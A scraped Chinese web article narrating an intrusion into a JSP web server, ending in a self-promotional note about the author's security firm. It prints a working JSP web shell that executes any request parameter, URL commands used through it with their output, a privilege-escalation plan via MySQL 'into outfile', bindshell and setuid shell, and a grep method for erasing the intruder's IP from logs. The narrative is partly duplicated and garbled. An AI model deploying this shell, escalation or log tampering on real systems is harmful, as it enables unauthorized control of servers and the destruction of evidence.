访问地址 http://www.qqread.com/jsp/z212204201.html
然后把这个JSP再通过upload上传,有SHELL了。
怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:
显示:
系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。
之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。
但是,接下来已经实际操作,结果令人颇感意外:
显示:
原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?
剩下的事情:
1、删除我的telnet记录。
2、删除http的日志。
清除日志我使用的办法是:cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。
说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!(T114)
更多内容请看网站服务器的选型、Jsp完全攻略专题、JSP教程专栏专题,或进入讨论组讨论。
再写一个JSP文件:
〈%@ page import="java.io.*" %〉
〈%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%〉然后把这个JSP再通过upload上传,有SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:
sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld显示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select ... into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。
之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。
但是,接下来已经实际操作,结果令人颇感意外:
http://target:8080/upload/cmd.jsp?cmd=id显示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)剩下的事情:
1、删除我的telnet记录。
2、删除http的日志。
清除日志我使用的办法是:cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。
说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!(T114)
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
相关专题
- Jsp常用功能——图片验证码 (53次浏览)
- Jsp页面实现文件上传下载 (10次浏览)
- JSP/Servlet:tomcat深入内部结构描述 (10次浏览)
- 用JSP处理Oracle中CLOB类型的字段 (9次浏览)
- 深入讲解提升JSP应用程序的七个方法 (0次浏览)
- 自行开发JSP HTTP服务器的绝对秘籍(二) (0次浏览)
- 整理近几天处理JSP页面中遇到的几个问题 (0次浏览)
- 在Apache中整合JSP和PHP (0次浏览)
- 用JFreeChart增强JSP报表的用户体验 (0次浏览)
- 我们还需要JSP吗? (0次浏览)



